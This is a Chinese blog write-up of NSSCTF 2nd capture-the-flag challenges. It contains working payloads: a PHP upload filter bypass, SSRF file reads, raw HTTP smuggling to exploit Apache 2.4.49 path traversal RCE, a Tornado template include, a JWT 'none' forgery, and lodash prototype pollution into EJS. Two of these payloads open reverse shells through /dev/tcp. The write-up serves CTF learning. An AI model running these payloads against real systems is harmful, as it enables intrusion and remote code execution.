NSSCTF 2nd

本文最后更新于:2023年9月1日 上午

[TOC]

[NSSCTF 2nd]

MISC

gift_in_qrcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import qrcode
from PIL import Image
from random import randrange, getrandbits, seed
import os
import base64

flag = os.getenv("FLAG")
if flag == None:
flag = "flag{test}"

secret_seed = randrange(1, 1000)
seed(secret_seed)
reveal = []
for i in range(20):
reveal.append(str(getrandbits(8)))
target = getrandbits(8)
reveal = ",".join(reveal)

img_qrcode = qrcode.make(reveal)
img_qrcode = img_qrcode.crop((35, 35, img_qrcode.size[0] - 35, img_qrcode.size[1] - 35))

offset, delta, rate = 50, 3, 5
img_qrcode = img_qrcode.resize(
(int(img_qrcode.size[0] / rate), int(img_qrcode.size[1] / rate)), Image.LANCZOS
)
img_out = Image.new("RGB", img_qrcode.size)
for y in range(img_qrcode.size[1]):
for x in range(img_qrcode.size[0]):
pixel_qrcode = img_qrcode.getpixel((x, y))
if pixel_qrcode == 255:
img_out.putpixel(
(x, y),
(
randrange(offset, offset + delta),
randrange(offset, offset + delta),
randrange(offset, offset + delta),
),
)
else:
img_out.putpixel(
(x, y),
(
randrange(offset - delta, offset),
randrange(offset - delta, offset),
randrange(offset - delta, offset),
),
)

img_out.save("qrcode.png")
with open("qrcode.png", "rb") as f:
data = f.read()
print("This my gift:")
print(base64.b64encode(data).decode(), "\n")

print(target)

ans = input("What's your answer:")
if ans == str(target):
print(flag)
else:
print("No no no!")

这里直接把target输出了,所以直接输入他的值得到flag:

image-20230829105242299

WEB

php签到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

function waf($filename){
$black_list = array("ph", "htaccess", "ini");
$ext = pathinfo($filename, PATHINFO_EXTENSION);
foreach ($black_list as $value) {
if (stristr($ext, $value)){
return false;
}
}
return true;
}

if(isset($_FILES['file'])){
$filename = urldecode($_FILES['file']['name']);
$content = file_get_contents($_FILES['file']['tmp_name']);
if(waf($filename)){
file_put_contents($filename, $content);
} else {
echo "Please re-upload";
}
} else{
highlight_file(__FILE__);
}

可以任意文件写入,但是需要绕过waf,这里重点是pathinfo()函数,我们可以绕过:

1
2
3
4
5
6
<?php
$filename = "1.php/.";
$ext = pathinfo($filename, PATHINFO_EXTENSION);
print_r($ext);

# 输出为空

image-20230829122301617

MyBox

1
?/url=file:///proc/1/environ

MyBox(rev)

首先通过:

1
/?url=file:///app/app.py

获取源码,app.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from flask import Flask, request, redirect
import requests, socket, struct
from urllib import parse
app = Flask(__name__)

@app.route('/')
def index():
if not request.args.get('url'):
return redirect('/?url=dosth')
url = request.args.get('url')
if url.startswith('file://'):
with open(url[7:], 'r') as f:
return f.read()
elif url.startswith('http://localhost/'):
return requests.get(url).text
elif url.startswith('mybox://127.0.0.1:'):
port, content = url[18:].split('/_', maxsplit=1)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect(('127.0.0.1', int(port)))
s.send(parse.unquote(content).encode())
res = b''
while 1:
data = s.recv(1024)
if data:
res += data
else:
break
return res
return ''

app.run('0.0.0.0', 827)

如果url以mybox://127.0.0.1:开头,那么会向127.0.0.1的指定端口发送信息,所以我们可以伪造一个post数据包,去探测80端口

1
2
3
4
5
6
7
POST / HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

url编码一下:

image-20230830141651557

发现是apache/2.4.49,这个版本有一个rce漏洞

Apache HTTP Server 2.4.49 ~ 2.4.50

Apache HTTP Server 存在路径遍历漏洞,该漏洞源于发现 Apache HTTP Server 2.4.50 版本中对 CVE-2021-41773 的修复不够充分。攻击者可以使用路径遍历攻击将 URL 映射到由类似别名的指令配置的目录之外的文件。如果这些目录之外的文件不受通常的默认配置“要求全部拒绝”的保护,则这些请求可能会成功。如果还为这些别名路径启用了 CGI 脚本,则可以允许远程代码执行。

curl的示例是这样的:

1
curl -v --data "echo;id" 'http://172.17.0.3/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'

image-20230830142942074

我们可以根据这个改写一下脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from urllib.parse import quote
test =\
"""POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Host: 127.0.0.1
User-Agent: curl/7.68.0
Content-Length: 58

echo;bash -c "bash -i >& /dev/tcp/ip/9996 0>&1"
"""
tmp = quote(test)
new = tmp.replace('%0A','%0D%0A') # 这里注意替换
result=quote(new) # 这里再编码一次
print(result)

# POST%2520/cgi-bin/.%25252e/.%25252e/.%25252e/.%25252e/bin/sh%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AUser-Agent%253A%2520curl/7.68.0%250D%250AContent-Length%253A%252058%250D%250A%250D%250Aecho%253Bbash%2520-c%2520%2522bash%2520-i%2520%253E%2526%2520/dev/tcp/ip/9996%25200%253E%25261%2522%250D%250A

发包

image-20230830143401460

成功反弹,拿flag

MyHurricane

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

import tornado.ioloop
import tornado.web
import os

BASE_DIR = os.path.dirname(__file__)

def waf(data):
bl = ['\'', '"', '__', '(', ')', 'or', 'and', 'not', '{{', '}}']
for c in bl:
if c in data:
return False
for chunk in data.split():
for c in chunk:
if not (31 < ord(c) < 128):
return False
return True

class IndexHandler(tornado.web.RequestHandler):
def get(self):
with open(__file__, 'r') as f:
self.finish(f.read())
def post(self):
data = self.get_argument("ssti")
if waf(data):
with open('1.html', 'w') as f:
f.write(f"""<html>
<head></head>
<body style="font-size: 30px;">{data}</body></html>
""")
f.flush()
self.render('1.html')
else:
self.finish('no no no')

if __name__ == "__main__":
app = tornado.web.Application([
(r"/", IndexHandler),
], compiled_template_cache=False)
app.listen(827)
tornado.ioloop.IOLoop.current().start()

问gpt直接包含文件:

1
ssti={% include /proc/1/environ %}

image-20230829130940713

MyJS

访问/source获得源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
const express = require('express');
const bodyParser = require('body-parser');
const lodash = require('lodash');
const session = require('express-session');
const randomize = require('randomatic');
const jwt = require('jsonwebtoken')
const crypto = require('crypto');
const fs = require('fs');

global.secrets = [];

express()
.use(bodyParser.urlencoded({extended: true}))
.use(bodyParser.json())
.use('/static', express.static('static'))
.set('views', './views')
.set('view engine', 'ejs')
.use(session({
name: 'session',
secret: randomize('a', 16),
resave: true,
saveUninitialized: true
}))
.get('/', (req, res) => {
if (req.session.data) {
res.redirect('/home');
} else {
res.redirect('/login')
}
})
.get('/source', (req, res) => {
res.set('Content-Type', 'text/javascript;charset=utf-8');
res.send(fs.readFileSync(__filename));
})
.all('/login', (req, res) => {
if (req.method == "GET") {
res.render('login.ejs', {msg: null});
}
if (req.method == "POST") {
const {username, password, token} = req.body;
const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

if (sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
return res.render('login.ejs', {msg: 'login error.'});
}
const secret = global.secrets[sid];
const user = jwt.verify(token, secret, {algorithm: "HS256"});
if (username === user.username && password === user.password) {
req.session.data = {
username: username,
count: 0,
}
res.redirect('/home');
} else {
return res.render('login.ejs', {msg: 'login error.'});
}
}
})
.all('/register', (req, res) => {
if (req.method == "GET") {
res.render('register.ejs', {msg: null});
}
if (req.method == "POST") {
const {username, password} = req.body;
if (!username || username == 'nss') {
return res.render('register.ejs', {msg: "Username existed."});
}
const secret = crypto.randomBytes(16).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret);
const token = jwt.sign({secretid, username, password}, secret, {algorithm: "HS256"});
res.render('register.ejs', {msg: "Token: " + token});
}
})
.all('/home', (req, res) => {
if (!req.session.data) {
return res.redirect('/login');
}
res.render('home.ejs', {
username: req.session.data.username||'NSS',
count: req.session.data.count||'0',
msg: null
})
})
.post('/update', (req, res) => {
if(!req.session.data) {
return res.redirect('/login');
}
if (req.session.data.username !== 'nss') {
return res.render('home.ejs', {
username: req.session.data.username||'NSS',
count: req.session.data.count||'0',
msg: 'U cant change uid'
})
}
let data = req.session.data || {};
req.session.data = lodash.merge(data, req.body);
console.log(req.session.data.outputFunctionName);
res.redirect('/home');
})
.listen(827, '0.0.0.0')

重点看login路由:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
if (req.method == "POST") {
const {username, password, token} = req.body;
const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

if (sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
return res.render('login.ejs', {msg: 'login error.'});
}
const secret = global.secrets[sid];
const user = jwt.verify(token, secret, {algorithm: "HS256"});
if (username === user.username && password === user.password) {
req.session.data = {
username: username,
count: 0,
}
res.redirect('/home');
} else {
return res.render('login.ejs', {msg: 'login error.'});
}
}

jwt.verify(token, secret, {algorithm: "HS256"})的参数algorithms错写成了algorithm,导致出现空加密

JWT问题在于两点:

  1. verify时正确的参数是algorithms而不是algorithm,所以这里本质传了个空加密,导致允许空密钥,我们无须获得JWT密钥(高版本已修改)。
  2. 第二个是关于sid的弱比较,如果只是允许空密钥的话我们不知道secret依然无法verify,这里sid如果传个数组就能轻松绕过判断并且
    NSS

这样就可以构造任意密钥为空的JWT口令了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
const jwt = require('jsonwebtoken');
global.secrets = [];
var user = {
secretid: [],
username: 'nss',
password: '1',
"iat":1693379480
}

const secret = global.secrets[user.secretid];

var token = jwt.sign(user, secret, {algorithm: 'none'});
console.log(token);

<!-- eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoibnNzIiwicGFzc3dvcmQiOiIxIiwiaWF0IjoxNjkzMzc5NDgwfQ. -->

使用这个token登录,账号nss,密码1

然后访问/update,此处lodash.merge(data, req.body)触发原型链污染

1
2
3
4
5
6
7
8
9
{"__proto__":{
"settings":{
"view options":{
"escapeFunction":"console.log;this.global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/ip/9996 <&1\"');",
"client":"true"
}
}
}
}

image-20230830153017707


NSSCTF 2nd
https://leekosss.github.io/2023/08/28/[NSSCTF 2nd]/
作者
leekos
发布于
2023年8月28日
更新于
2023年9月1日
许可协议